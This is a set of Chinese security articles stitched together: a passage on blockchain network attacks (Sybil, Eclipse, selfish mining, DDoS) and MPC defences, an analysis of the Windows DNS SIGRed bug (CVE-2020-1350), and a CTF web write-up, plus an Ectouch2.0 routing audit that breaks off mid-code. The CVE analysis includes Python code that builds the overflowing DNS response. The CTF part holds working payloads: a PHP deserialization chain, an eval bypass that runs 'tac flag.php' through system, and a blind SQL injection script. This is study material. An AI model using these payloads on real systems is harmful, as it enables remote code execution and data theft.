* 1 **虚假节点加入** ：在遵循区块链网络协议的基础上，任何网络节点都可以向区块链网络发送节点加入请求消息；收到请求消息的区块链节点会立即做出响应，回复其邻居节点信息。利用这个过程，Sybil攻击者就可以获取大量的区块链网络节点信息来分析区块链网络拓扑，以便更高效地对区块链网络进行攻击或破坏。
* 2 **误导区块链网络节点的路由选择** ：节点间路由信息的实时交互是保证区块链网络正常运行的关键因素之一。节点只需定时地向其邻居节点宣告自己的在线情况，就能保证自己被邻居节点加入到其路由表中。恶意的Sybil入侵者通过这个过程，可以入侵正常区块链节点的路由表，误导其路由选择。
* 3 **虚假资源发布** ：Sybil攻击者一旦入侵区块链网络节点的路由表，就可以随意发布自己的虚假资源。
而攻击者将大量的Sybil节点注入网络后，它就可以进一步进行攻击。例如Eclipse攻击。
#### 2 Eclipse攻击
此攻击通常要配合Sybil攻击。攻击者通过侵占网络中节点的路由，将足够多的虚假节点添加到某个受害者周围，从而将正常节点隔离在区块链外部。入下图：
联盟链常用的拜占庭容错算法PBFT能够抵抗的拜占庭节点数是N≥3f+1。因此，在具有身份认证的区块链中，节点的数量的比例是非常重要的。而女巫攻击就是直接针对这种特性——直接在节点的数量上做文章。
当某节点被Eclipse攻击时，节点也就被攻击者变相的控制了，它会给你施加一层朦胧的现象，让节点处于攻击者的幻术之中。之后恶意节点就可以进一步实施路由欺骗、拒绝服务等。
Eclipse攻击对区块链网络的影响十分重大。对于区块链网络来说，Eclipse攻击破坏了网络的拓扑结构，减少了节点数目，使得区块链网络资源共享的效率大大降低，在极端情况下，它能完全控制整个区块链网络，把它分隔成若干个区块链网络区域。对于受害的区块链节点来说，它们在未知的情况下脱离了区块链网络，所有区块链网络请求消息都会被攻击者劫持，所以它们得到的回复信息大部分都是虚假的，无法进行正常的资源共享或下载。
而网络攻击都是层层递进的，攻击会进行扩展。
* 1 区块竞争
在区块链系统中，多名矿工会同时发现区块，这时候就会有区块竞争的情况产生。正常的结果是一个区块被写入区块链，而给与发现它的人奖励。然而另一个“孤块”将会被忽略，发现他的矿工就不会得到奖励。所以我们可以使用Eclipse攻击来达到上述效果。比如当恶意节点们侵蚀了正常节点后，一旦攻击者发现了竞争区块，它就会使用Eclipse攻击的节点疯狂访问竞争对手，导致正常区块无法及时的在区块链网络中同步。
* 2 自私挖矿攻击
作为一个普通矿机并且找到它们后立刻向网络出块，攻击者可以选择性的出块，有时牺牲他自己的收人但常常突然出更多的块，从而迫使剩余的网络丢块和失去收入。这在短期内减少了攻击者的收入，但这减少其他所有人更多的收入，因此中立的节点现在有动机加入攻击者的队伍来增加他们的收入。最终，攻击者的队伍扩大到超过50%的大小，可能给了攻击者对这个网络的高度控制权。
当攻击者挖出新的区块后，并不会立即发布到网上，而是实现保存起来。这也就使其余的矿工仍然努力的浪费资源挖这个区块。**但是读者会问：这难道没有风险吗？万一其他的挖矿者挖到后抢先发布了怎么办？**
所以，这个攻击就要求攻击者时刻对其他矿池记性监督工作。当预测到其他诚实矿池要广播新区块时，他就利用被Eclipse攻击的节点来拖慢这个进程，同时抢先广播其他所私藏的区块。
更进一步的分析请参考文章：[自私挖矿](https://www.8btc.com/article/5645)
#### 3 DDos攻击
根据百度百科介绍：DDos为
分布式`拒绝服务攻击`指借助于客户/服务器技术，将多个计算机联合起来作为攻击平台，对一个或多个目标发动DDoS攻击，从而成倍地提高拒绝服务攻击的威力。通常，攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上，在一个设定的时间主控程序将与大量代理程序通讯，代理程序已经被安装在网络上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术，主控程序能在几秒钟内激活成百上千次代理程序的运行。
传统的DDoS攻击分为两步：第一步利用病毒、木马、缓冲区溢出等攻击手段入侵大量主机，形成僵尸网络；第二部通过僵尸网络发起DoS攻击。由于各种条件限制，攻击的第一步成为制约DDoS攻击规模和效果的关键。由于第一步的难度极大，所以DDos攻击也没有十分的常见。
而在区块链中，DDos又不同于常见的中心化系统。新型的DDoS攻击不需要建立僵尸网络即可发动大规模攻击，不仅成本低、威力巨大，而且还能确保攻击者的隐秘性。
我们知道，大型的区块链平台，如比特币系统，具有百万级的用户同时在线。而这些节点在挖矿的同时提供了大量计算、存储资源。如果我们能够利用系统中的这些大量可用资源发动攻击的话，那么效果将是十分惊人的。而由于区块链的特性，本来系统中的流量就十分巨大，那么我们稍微进行一些攻击就足以导致系统瘫痪。
对于区块链来说，DDos攻击可以分为下面两种：
* 1 主动攻击
* 2 被动攻击
主动攻击：通过主动向网络中发送大量的虚假消息，通过区块链的push机制使反射节点瞬间收到大量的通知消息。由于区块链节点的不易于分析和记录，所以攻击可以通过假冒源地址避过IP检查，使得追踪定位攻击源更加困难。并且大量的流量流经网络，会导致网络的路由功能的下降。
被动攻击：被动攻击不同于主动，它就像服务器那样静静的等待鱼上钩。也就是说他会等待来自其它节点的查询请求，再通过返回虚假响应来进行攻击。在真实环境中，攻击者常常部署多个攻击节点、在一个响应消息中多次包含目标主机、结合其它协实现漏洞。与上面的攻击相对立，此攻击基于了pull的机制，由于这种攻击时长处于等待，所以攻击危害不算很大。
### 三、密码学防御方案--协同多方计算
在保卫区块链P2P网络安全时，我们要预防一下几种挑战：
1，反Sybil攻击
我们所说的反Sybil攻击就是要确保在共识机制中的投票参与者都有且仅有一个账户。如果参与者有多个账户的话会存在投票的不公平行为出现。反Sybil攻击的解决方案有，中心化的身份预言机，或者社交验证，它是依赖于人和人之间的社交网络来进行验证。
2，共谋挑战
正如人类社会那样，当村中投票选举村长的时候，领导者会到处拉选票。有可能也有贿赂等现象出现，谁给的好处多谁就当选等。在区块链的投票中也存在类似的威胁。当攻击者控制了大量的伪节点时，他就有可能操控整个投票机制。那如何解决这个问题呢？
如果阻止这种攻击，就需要让任何人没有办法向别人证明自己是怎么投票的。“如果我们设计一种机制，让被投票的人不知道这个票你最终投给了谁，这样的贿赂形式也就不存在了。当然这一点比较难以实现。”在密码学中，存在一种算法——MPC（多方计算），除了最终的投票结果之外，所有参与者都无法看到保密的信息和计算的过程。
那么什么是 **安全多方计算** 呢？
其来源于经典应用场景，在此协议中，两方或者多方参与者基于其自己的私钥进行计算。并且他们都不想知道其他人的信息。下面我们就结合两个场景具体的讲述一下安全多方计算的具体内容。
* 1 **平均工资问题**
`A,B,C,D四个人想知道他们的平均工资，但是任何人都不想暴露自己的工资。如何做？`
1，Alice生成一个随机数，将其与自己的工资相加，用Bob的公钥加密发送给Bob
2，Bob用自己的私钥解密，加进自己的工资，然后用Carol的公钥加密发送给Carol
3，Carol用自己的私钥解密，加进自己的工资，然后用Dave的公钥加密发送给Dave
4，Dave用自己的私钥解密，加进自己的工资，然后用Alice的公钥加密发送给Alice
5，Alice用自己的私钥解密，减去原来的随机数得到工资总和
6，Alice将工资总和除以人数得到平均工资，宣布结果
假设上述节点均诚实（尤其是A），那么我们可以用安全多方计算解决问题。任何人都没有暴露自己的工资，也知道了自己最终的结果。
那么如何防止A节点作恶呢？
此时可以使用“比特位承诺”。运用比特承诺协议让Alice向Bob传送他的随机数协议结束后，Bob可以获知Alice的工资。
* 2 **密码学家晚餐问题**
场景描述:
三个密码学家(AliceBobCarol)坐在他们最喜欢的三星级餐馆准备吃晚餐。
业务逻辑：
侍者通知他们晚餐需匿名支付账单其中一个密码学家可能正在付账
可能已由美国国家安全局NSA付账他们彼此尊重匿名付账的权利，但又需要知道是不是NSA在付账。
系统目标：
如何确定三者之一在付账同事又要保护付账者的匿名性???? ?
一个简单有效的解决方案
1 每个密码学家将菜单放置于左边而互相隔离开来
2 每个人只能看到自己和右边密码学家的结果
3 每个密码学家在他和右边密码学家之间抛掷一枚硬币
4 每个密码学家广播她能看到的两枚硬币是同一面还是不同的一面
“如果有一个密码学家付账，则他说相反的结果”
判定结果:
* **桌上说“不同”的人数为奇数：某个密码学家在付账**
* **桌上说“不同”的人数为偶数：NSA在付账**
简单分析的话，加入是NSA付账，那么ABC均为合法的点。那么A--相同；B--不同；C--不同。不同的为偶数，那么NSA付账没毛病。
加入A付款，那么ABC均说不同。“不同”为奇数，那么某个密码学家付款也没毛病。
但是并不知道具体的付账人是谁。所以有一下公式：
Crypt(i) 与Coin(i)分别表示密码学家与投硬币结果。
Crypt(i) 付款输出= Coin(i-1) or Coin(i)
Crypt(i) 没付款输出= Coin(i-1) or Coin(i) or 1
即A是能够知道详细的结果的。
这些个问题可以放入我们的区块链中进行类比。我们知道我们想知道系统中是否存在作恶点，但是我们又不能把每个节点的投票结果拿到，所以我们可以仿照上述的多方计算进行协议设置。这样我们就可以解决一些作恶问题了。
### 四、参考链接
* 1 <https://www.idcbest.com/idcnews/11002090.html>
* 2 <https://github.com/hyperledger/fabric/tree/release-1.3/gossip>
* 3 <http://www.sohu.com/a/256288748_100172714>
* 4 <http://www.sohu.com/a/253257690_114877>
* 5 <https://wenku.baidu.com/view/452d9a4f852458fb770b56ff.html>
**本稿为原创稿件，转载请标明出处。谢谢。** | 社区文章 |
# CVE-2020-1350：Windows DNS Server蠕虫级远程代码执行漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 漏洞背景
Windows DNS
Server远程代码执行漏洞（CVE-2020-1350）：未经身份验证的攻击者可通过向目标DNS服务器发送特制数据包从而目标系统上以本地SYSTEM账户权限执行任意代码。该漏洞无需交互、不需要身份认证且Windows
DNS Server默认配置可触发，攻击场景如下:
（注：图来自互联网）
利用场景1：
（1）受害者访问攻击者域名”evil.server.io”
（2）本地DNS服务器或域内的DNS服务器无法解析”evil.server.io”，向google DNS服务器（如8.8.8.8）查询
（3）查到后，发现该域名可以由攻击者DNS服务器解析，所以将该信息缓存到域服务器上
（4）第二次查询时，直接和攻击者DNS服务器进行查询
（5）此时攻击者服务器就可以构造响应包触发漏洞
在复现过程中，笔者省略了（1）、（2）、（3）步，直接在本地DNS服务器上将攻击者服务器地址设为转发器，在本地无法解析”evil.server.io”时，转而向攻击者DNS服务器进行查询。
## 0x02 漏洞分析
DNS包格式：
UDP：表示DNS查询基于UDP协议传输数据。DNS服务器支持TCP和UDP两种协议的查询方式。
Destination port：目的端口默认是53。
QR：0表示查询报文；1表示回应报文。
TC：表示“可截断的”。如果使用UDP时，当应答报文超过512字节时，只返回前512个字节。
通常情况下，DNS查询都是使用UDP查询，UDP提供无连接服务器，查询速度快，可降低服务器的负载。当客户端发送DNS请求，并且返回响应中TC位设置为1时，就意味着响应的长度超过512个字节，而仅返回前512个字节。这种情况下，客户端通常采用TCP重发原来的查询请求，并允许返回的响应报文超过512个字节。直白点说，就是UDP报文的最大长度为512字节，而TCP则允许报文长度超过512字节。当DNS查询超过512字节时，协议的TC标志位会置1，这时则使用TCP发送。
Queries：表示DNS请求的域名和类型。
漏洞点在于dns.exe!SigWireRead，该函数用于处理SIG类型的响应包，RR_AllocateEx
分配大小的参数由寄存器cx传入，只有16个bit，大小为0~65535，所以只要构造size
大于65535，造成溢出，就会分配一个比实际数据量小的堆块，造成堆溢出，将整数溢出转化成堆溢出漏洞。
伪代码如下：
RR_AlloccateEx用于分配堆块，第一个参数为分配的大小，由[Name_PacketNameToCountNameEx result] +
[0x14] + [The Signature field’s length (rdi–rax)] 决定。
所以要触发漏洞，我们需要发送大于64KB的SIG类型响应包给受害者DNS服务器，但是基于UDP传输的DNS包限制大小为512个字节（支持EDNS0的限制大小为4096个字节），不足以触发漏洞。
PoC的思路是通过设置TC标志位，通知客户端采用TCP重发原来的查询请求，并允许返回的响应报文超过512个字节。如下：
但是利用TCP传输的DNS包限制大小为65535，还是不足以触发漏洞，这时候需要用到DNS域名压缩。
完整的域名表示，如[www.google.com，需要16个字节：](http://www.google.xn--com%2C16:-w33ki39g435f0cqt60b/)
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---
\3 | w | w | w | \6 | g | o | o | g | l | e | \3 | c | o | m | \0
采用[<size>
<value>]的形式存储。本例中将域名分成了三段，分别是www，google，com。每一段开头都有一个字节，表示后面域名的长度，最后以\0结尾。由于规定域名段的长度不能超过63个字节，所以表示域名段长度的字节最高两位没有用到，因此另有用途。
（1）当最高两位为00时，表示以上面的形式的传输
（2）当最高两位为11时，表示将域名进行压缩，该字节去掉最高两位后剩下的6位，以及后面的8位总共14位，指向DNS数据报文中的某一段域名，相当于一个指针。如0xc00c,
表示从DNS正文（UDP payload）的偏移offset=0x0c处所表示的域名。
（3）混合表示：以[www.google.com为例，假设该域名位于DNS报文偏移0x20处，可能的用法有：](http://www.google.com%E4%B8%BA%E4%BE%8B%EF%BC%8C%E5%81%87%E8%AE%BE%E8%AF%A5%E5%9F%9F%E5%90%8D%E4%BD%8D%E4%BA%8EDNS%E6%8A%A5%E6%96%87%E5%81%8F%E7%A7%BB0x20%E5%A4%84%EF%BC%8C%E5%8F%AF%E8%83%BD%E7%9A%84%E7%94%A8%E6%B3%95%E6%9C%89%EF%BC%9A/)
a、0xc020：表示完整域名[www.google.com](http://www.google.com/)
b、0xc024：从完整域名的第二段开始，指代google.com
c、0x016dc024：0x01表示后面跟的size大小1，0x6d表示字符m，所以0x016d表示字符串”m”，第二段0xc024指代google.com，因此整段表示m.google.com
Name_PacketNameToCountNameEx函数会根据Signers Name 来获取域名的大小。因此0xc00c（偏移从Transaction
ID 0x795a开始计算）指向正常域名9.ibrokethe.net，大小则为0x11。
但通过设置Signer’s
Name为0xc00d，将域名起始位置指向”9″，此时会将”9″当作<size>，将后面的0x39个字节当作域名段，并且一直解析下去，直至解析到’\0’。如下图，Name_PacketNameToCountNameEx会将图中选中的部分当成域名，获取大小。此时大小为(0x39+1)+(0xf+1)*5
+1 =0x8b。（0x39和0xf表示域名段大小，+1表示”.”， 最后一个+1表示”\0″）。
windbg调试结果：
[rsp+0x30h]为传入Name_PacketNameToCountNameEx的第一个参数，保存获取域名的大小。而后面的(rdi–rax)表示我们填充到Signature的数据大小，rdi为数据结束地址，rax为起始地址（从Signer’s
Name后开始计算）。
计算完大小为0xffaa：
所以最后传入RR_AllocateEx函数的大小为 (0x8b+0x14+0xffaa)&0xffff= 0x49
之后将Signature的数据复制到分配的空间：
dns!memcpy
目标地址Dst为RR_AllocateEx分配地址+域名大小（0x8b）+0x4c处，源地址Src为Signature数据起始地址，Size为Signature数据大小（0xffaa）。最终造成溢出，产生崩溃。
PoC建立TCP连接后，发送的包构造如下：
# SIG Contents
sig = "\x00\x01" # Type covered
sig += "\x05" # Algorithm - RSA/SHA1
sig += "\x00" # Labels
sig += "\x00\x00\x00\x20" # TTL
sig += "\x68\x76\xa2\x1f" # Signature Expiration
sig += "\x5d\x2c\xca\x1f" # Signature Inception
sig += "\x9e\x04" # Key Tag
sig += "\xc0\x0d" # Signers Name - Points to the '9' in 9.domain.
sig += ("\x00"*(19 - len(domain)) + ("\x0f" + "\xff"*15)*5).ljust(65465 - len(domain_compressed), "\x00") # Signature - Here be overflows!
……
# Msg Size + Transaction ID + DNS Headers + Answer Headers + Answer (Signature)
connection.sendall(struct.pack('>H', len_msg) + data[2:4] + response + hdr + sig)
上述构造的信息抓包内容如下：
整个交互过程如下（受害者DNS服务器抓包结果）：
192.168.148.134为受害者IP，192.168.148.138为攻击者IP。
（1）受害者向攻击者查询 9.ibrokethe.net
（2）攻击者返回一个响应包，设置TC位，通知客户端采用TCP重发原来的查询请求，并允许返回的响应报文超过512个字节
（3）受害者就和攻击者建立TCP连接
（4）受害者重新向攻击者查询 9.ibrokethe.net
（5）攻击者利用TCP传输大于64KB的响应包给受害者，触发漏洞，造成溢出
## 0x03 时间线
2020-07-14 微软发布安全更新
2020-07-15 360CERT发布通告
2020-07-16 FSecureLabs发布漏洞PoC
2020-07-16 360CERT更新通告
2020-07-17 360CERT发布漏洞分析
## 0x04 参考链接
1. <https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/>
2. <https://portal.msrc.microsoft.com/zh-CN/security-guidance/advisory/CVE-2020-1350> | 社区文章 |
这次国赛的Web题目质量还不错，这里做个记录。
## JustSoso
根据 **html注释** 结合 **php伪协议** ，可以读取出 **index.php** 和 **hint.php** 的源代码。
<http://xxx/index.php?file=php://filter/read/convert.base64-encode/resource=index.php>
<http://xxx/index.php?file=php://filter/read/convert.base64-encode/resource=hint.php>
**index.php** 中会反序列化 **$_GET["payload"]** ，且 **parse_url** 函数处理后不能包含 **flag**
字符串，用 **///** 即可绕过 **parse_url** 函数，具体可参考
<http://www.am0s.com/functions/406.html>
**hint.php** 中的对象在反序列化的时候，会先调用 **__wakeup** 魔术方法，其会把对象的所有属性置 **null**
，猜测考察的知识点是绕过 **PHP反序列化** 的一个 **bug** ，具体参考：
<https://mochazz.github.io/2018/12/30/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96bug/>
。
最后获取 **flag** 的地方，需要 `$this->token === $this->token_flag` ，而 **$this->token_flag** 在每次调用 **getFlag** 函数都会重新生成，这时候我们便可以用引用变量来解决这个问题。最终 **payload**
如下：
<?php
class Handle{
private $handle;
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token = &$this->token_flag;
}
public function getFlag(){
// $this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
$flag = new Flag('flag.php');
$handle = new Handle($flag);
echo urlencode(str_replace('O:6:"Handle":1', 'O:6:"Handle":10', serialize($handle)));
?>
最后访问
[http://xxx///index.php?file=hint.php&payload=上面生成的payload](http://xxx///index.php?file=hint.php&payload=上面生成的payload)
即可。
最后贴一个PHP反序列化标识符含义：
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
<https://blog.csdn.net/heiyeshuwu/article/details/748935>
## love_math
**calc.php** 源码如下：
可以看到 **$content** 会经过黑白名单校验且长度不能大于等于80，通过校验的 **$content** 最终会在 **eval**
函数中执行。看到这个，就想起了之前遇到的无字母 **webshell** 的题目。而这里只能用 **$whitelist** 中的函数。在查阅
**base_convert** 函数时，发现其可以进行2~36进制之间的转换，超过9的部分用字母a-z表示，即可表示的字符范围是：0-9a-z。，下面我们就可以构造最简单的 **phpinfo** ：
base_convert(55490343972,10,36)()
➜ Desktop php -a
php > echo base_convert('phpinfo',36,10);
55490343972
执行 **system('ls')** ：base_convert(1751504350,10,36)(base_convert(784,10,36))
➜ Desktop php -a
php > echo base_convert('system',36,10);
1751504350
php > echo base_convert('ls',36,10);
784
php > echo strlen('base_convert(1751504350,10,36)(base_convert(784,10,36))');
55
由于不能引入0-9a-z以外的字符，所以这里又通过构造 **hex2bin** 来执行命令。
➜ Desktop php -a
php > echo base_convert('exec',36,10);
696468
php > echo base_convert('hex2bin',36,10);
37907361743
php > echo hexdec(bin2hex('ls *'));
1819484202
php > echo strlen('base_convert(696468,10,36)(base_convert(37907361743,10,36)(dechex(1819484202)))');
79
但是用 **exec** 有个问题，就是只会显示返回结果的最后一行，这样就没办法看到 **flag**
，强行构造就超出80字符的限制了。后来又想到之前做的40字符限制的题目，想着应该要通过其他参数引入的方式，打破字符长度限制，于是开始构造 **$_GET**
。
➜ Desktop php -a
php > echo base_convert('hex2bin',36,10);
37907361743
php > echo hexdec(bin2hex('_GET'));
1598506324
payload：
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac flag.php
相当于：
$pi=_GET;($_GET[pi])($_GET[abs])
我们将要执行的函数和参数通过其他参数引入，这里变量名和函数名必须在白名单中。
这里有用到一个trick，就是使用 **{}** 来代替 **[]** 进行数组索引，这个其实在PHP手册中有提到，具体参看这个用力的Note：
<https://www.php.net/manual/en/language.types.array.php#language.types.array.syntax.accessing>
。另外PHP5和7的一些差别，可以参看一下手册： <https://www.php.net/manual/zh/migration70.php>
## 全宇宙最简单的SQL
**WAF** 会将某些字符替换成 **QwQ** ，经过测试，发现过滤了 **|、or、sleep、if、benchmark、case** 等字符。
返回信息有两种：
* SQL语法正确的话，如果账号密码不对，会显示 **登陆失败** 。例如： `username=admin&password=admin`
* SQL语法不正确的话，会显示 **数据库操作失败** 。例如： `username=admin'&password=admin`
那么我们可以利用逻辑运算符和溢出报错来进行注入，例如这里我们用 **pow(9999,100)** ，这个表达式的值在 **MYSQL** 中已经超出
**double** 范围，会溢出。如下图，当我们盲注语句结果为真时，就会执行到溢出语句，返回结果为 **数据库操作失败**
；当我们盲注语句结果为假时，由于 **and短路运算** ，根本不会执行到溢出语句，所以返回结果为 **登陆失败** 。
通过这种注入方式，我们可以得到以下信息：
* mysql版本：5.5.62
* 库名：ctf
* 用户：ctt123
但是无法注出表名和列名，因为 **or** 被过滤了， **information_schema** 就不能用了。不过我们可以通过语句：
**admin'^1+and+substr((select+username+from+user+limit+1),1,1)='a'+and+pow(9999,100)%23**
，判断出其存在 **user** 表和 **username** 列，再根据题目的界面显示的内容，猜测其可能还存在 **password** 列。但是
**password** 又包含 **or**
关键字，这时想起了以前看过的一篇文章：[如何在不知道MySQL列名的情况下注入出数据？](https://nosec.org/home/detail/2245.html)
。最终可以用这个技巧注出 **admin** 用户的密码： **f1ag@1s-at_/fll1llag_h3r3** ，注入脚本如下：
import requests,re
url = "http://39.97.167.120:52105"
admin_pass = ''
charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!$%&\'()*+,-./:;<=>?@[\\]^_`}{~#'
for i in range(1,100):
for char in charset:
if char == '#':
# print('#')
# print(admin_pass)
exit()
datas = {
'username' : "admin'^1 and substr((select `2` from (select 1,2 union select * from user)a limit 1,1),%d,1)='%s' and pow(9999,100)#" % (i,char),
'password' : 'admin'
}
r = requests.post(url=url,data = datas)
r.encoding = r.apparent_encoding
if '数据库操作失败' in r.text:
# print(char)
admin_pass += char
print(admin_pass)
break
但是仍然还是无法登录，看密码的含义，应该要读取 **/fll1llag_h3r3** 文件。但是用了 **Mysql**
中的读取函数，发现并不行，于是又想到我上面的脚本直接比较的是字符，可能存在大小写问题。后来用ASCII值来判断，跑出来的结果是：
**F1AG@1s-at_/fll1llag_h3r3** 。再次登录，发现多了远程连接 **Mysql** 的功能。
这个考点，一下子让我想起上周DDCTF的题目。通过伪造 **Mysql**
服务端，任意读取连接过来的客户端的本地文件，从而获取flag。这里我直接用github上写好的脚本，修改代码中的文件名即可。
<https://github.com/allyshka/Rogue-MySql-Server>
## RefSpace
通过 **php伪协议** 可以获得题目环境中的文件结构如下：
➜ html tree
.
├── app
│ ├── flag.php
│ ├── index.php
│ └── Up10aD.php
├── backup.zip
├── flag.txt
├── index.php
├── robots.txt
└── upload
2 directories, 7 files
源码如下：
可以看到 **index.php** 中存在任意文件包含，但是限制了文件名后缀只能是 **.php** ，而 **app/Up10aD.php**
文件中存在上传功能，刚好可以配合前面的文件包含进行 **getshell**
。具体可以参考：[zip或phar协议包含文件](https://bl4ck.in/tricks/2015/06/10/zip%E6%88%96phar%E5%8D%8F%E8%AE%AE%E5%8C%85%E5%90%AB%E6%96%87%E4%BB%B6.html)
。getshell之后，只在服务器上发现了加密后的flag.txt。在 **app/flag.php** 开头添加上如下代码，访问时 **$key**
值随便填。
namespace interesting;
function sha1($var) { // 调用类的私有、保护方法
$class = new \ReflectionClass('interesting\FlagSDK');
$method = $class->getMethod('getHash');
$method->setAccessible(true);
$instance = $class->newInstance();
return $method->invoke($instance);
}
其原理就是通过命名空间，定义一个同名函数 **sha1**
，在代码调用时，会优先调用本命名空间中的同名函数。另外还有一个考点就是通过反射调用类的私有、保护方法，具体百度即可。绕过 **sha1**
的比较，我们就能拿到flag了， **backup.zip/sdk开发文档.txt** 中的 **return "too{young-too-simple}"** 只是个例子，其真正的语句类似 **return openssl_decrypt(file_get_contents(‘flag路径),
'加密算法', $key)** 。 | 社区文章 |
# Ectouch2.0 分析解读代码审计流程
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x1 目录结构
显示目录结构:`tree -L 2 -C -d`
├── _docs
├── admin //默认后台目录
│ ├── help
│ ├── images
│ ├── includes
│ ├── js
│ ├── styles
│ └── templates
├── api
│ └── notify
├── data //静态资源和系统缓存、配置目录
│ ├── assets //静态资源目录
│ ├── attached //附件目录
│ ├── backup //备份目录
│ ├── caches //缓存目录
│ ├── captcha //验证码图片
│ ├── certificate //验证
│ ├── codetable
│ ├── ipdata
│ ├── migrates
│ ├── print
│ ├── session
│ ├── sqldata
│ └── template
├── include //核心目录
│ ├── apps //主程序(模块目录)
│ ├── base //基础程序
│ ├── classes //类文件
│ ├── config //配置文件
│ ├── helpers //助手函数
│ ├── languages //语言包
│ ├── libraries //主类库
│ ├── modules //模块
│ └── vendor //第三方扩展类
├── install //安装模块
│ ├── sqldata
│ └── templates
├── plugins //插件程序目录
│ ├── connect
│ ├── editor
│ ├── integrates
│ ├── payment
│ ├── shipping
│ └── wechat
└── themes //系统默认模版目录
└── ecmoban_zsxn
参考链接:
[ectouch第二讲之 文件结构](https://www.bbsmax.com/A/pRdB84OPJn/)
这样就可以确定重点是:`include` 文件夹
## 0x2 路由分析
入口文件`index.php`->引导文件`bootstrap.php`->`urlRoute()`路由解析->`dispatc()`路由调度
为了方便理解,我在这里分析下路由(这里有两种模式)
因为一般模式mvc都会用
`/index.php?m=admin&c=index&a=index`
所以在这里分析 **兼容模式下** 路由规则:
26-24 lines
$varPath = C('VAR_PATHINFO');//c函数是获取配置参数的值
$varModule = C('VAR_MODULE');
$varController = C('VAR_CONTROLLER');
$varAction = C('VAR_ACTION');
$urlCase = C('URL_CASE_INSENSITIVE');
if(isset($_GET[$varPath])) { // 判断URL里面是否有兼容模式参数
$_SERVER['PATH_INFO'] = $_GET[$varPath]; //获取r=xx的内容给$_SERVER['PATH_INFO']
unset($_GET[$varPath]); //释放变量
}
41-59 lines
$depr = C('URL_PATHINFO_DEPR'); //兼容模式分隔符 r
define('MODULE_PATHINFO_DEPR', $depr);
if(empty($_SERVER['PATH_INFO'])) {
$_SERVER['PATH_INFO'] = '';
define('__INFO__','');
define('__EXT__','');
}else{
define('__INFO__',trim($_SERVER['PATH_INFO'],'/')); //去除多余的/
// URL后缀
define('__EXT__', strtolower(pathinfo($_SERVER['PATH_INFO'],PATHINFO_EXTENSION))); //获取文件后缀之后的内容
$_SERVER['PATH_INFO'] = __INFO__;
if (__INFO__ && !defined('BIND_MODULE') && C('MULTI_MODULE')){ // 获取模块名
$paths = explode($depr,__INFO__,2);//切割__INFO__
$module = preg_replace('/.' . __EXT__ . '$/i', '',$paths[0]);//处理后缀
$_GET[$varModule] = $module;
$_SERVER['PATH_INFO'] = isset($paths[1])?$paths[1]:'';
}
}
62-67 lines
define('_PHP_FILE_', rtrim($_SERVER['SCRIPT_NAME'],'/'));//当前脚本文件目录
define('__SELF__',strip_tags($_SERVER[C('URL_REQUEST_URI')]));//URI(path+fragment)
// 获取模块名称
define('APP_NAME', defined('BIND_MODULE')? strtolower(BIND_MODULE) : self::getModule($varModule)); //getModule函数得到模块名 APP_NAME定义
C('_APP_NAME', APP_NAME);
为了方便理解我继续跟进`getModule`函数
*/
static private function getModule($var) {
$module = (!empty($_GET[$var])?$_GET[$var]:DEFAULT_APP); //前面处理的结果
unset($_GET[$var]);//释放变量
if($maps = C('URL_MODULE_MAP')) { //模块映射规则 默认跳过
if(isset($maps[strtolower($module)])) {
// 记录当前别名
define('MODULE_ALIAS',strtolower($module));
// 获取实际的模块名
return ucfirst($maps[MODULE_ALIAS]);
}elseif(array_search(strtolower($module),$maps)){
// 禁止访问原始模块
return '';
}
}
return strip_tags(strtolower($module)); //返回模块名
}
70-86 lines
if( APP_NAME && is_dir(APP_PATH.APP_NAME)){
// 定义当前模块路径
define('MODULE_PATH', APP_PATH.APP_NAME.'/');
// 加载模块配置文件
if(is_file(MODULE_PATH.'config/config.php'))
C(load_config(MODULE_PATH.'config/config.php'));
// 加载模块函数文件
if(is_file(MODULE_PATH.'helpers/function.php'))
include MODULE_PATH.'helpers/function.php';
// 加载模块的扩展配置文件
load_ext_file(MODULE_PATH);
}else{
E('模块不存在:'.APP_NAME);
}
这个作者的注释很明白 就是MODULE_PATH ->模块目录 + APP_NAME ->模块名
107-150 lines
if('' != $_SERVER['PATH_INFO'] && (!C('URL_ROUTER_ON') || !Route::check()) ){ // 检测路由规则 如果没有则按默认规则调度URL
// 去除URL后缀
$_SERVER['PATH_INFO'] = preg_replace(C('URL_HTML_SUFFIX')? '/.('.trim(C('URL_HTML_SUFFIX'),'.').')$/i' : '/.'.__EXT__.'$/i', '', $_SERVER['PATH_INFO']);
$depr = C('URL_PATHINFO_DEPR'); //'-'
$paths = explode($depr,trim($_SERVER['PATH_INFO'],$depr));
if(!defined('BIND_CONTROLLER')) {// 获取控制器
if(C('CONTROLLER_LEVEL')>1){// 控制器层次
$_GET[$varController] = implode('/',array_slice($paths,0,C('CONTROLLER_LEVEL')));
$paths = array_slice($paths, C('CONTROLLER_LEVEL'));
}else{
$_GET[$varController] = array_shift($paths); //取第一个作为控制器
}
}
// 获取操作
if(!defined('BIND_ACTION')){
$_GET[$varAction] = array_shift($paths); //数组第二个为操作
}
// 解析剩余的URL参数
$var = array(); //空
if(C('URL_PARAMS_BIND') && 1 == C('URL_PARAMS_BIND_TYPE')){
$var = $paths; // URL参数按顺序绑定变量
}else{
preg_replace_callback('/(w+)/([^/]+)/', function ($match) use (&$var) {
$var[$match[1]] = strip_tags($match[2]);
}, implode('/', $paths));
}
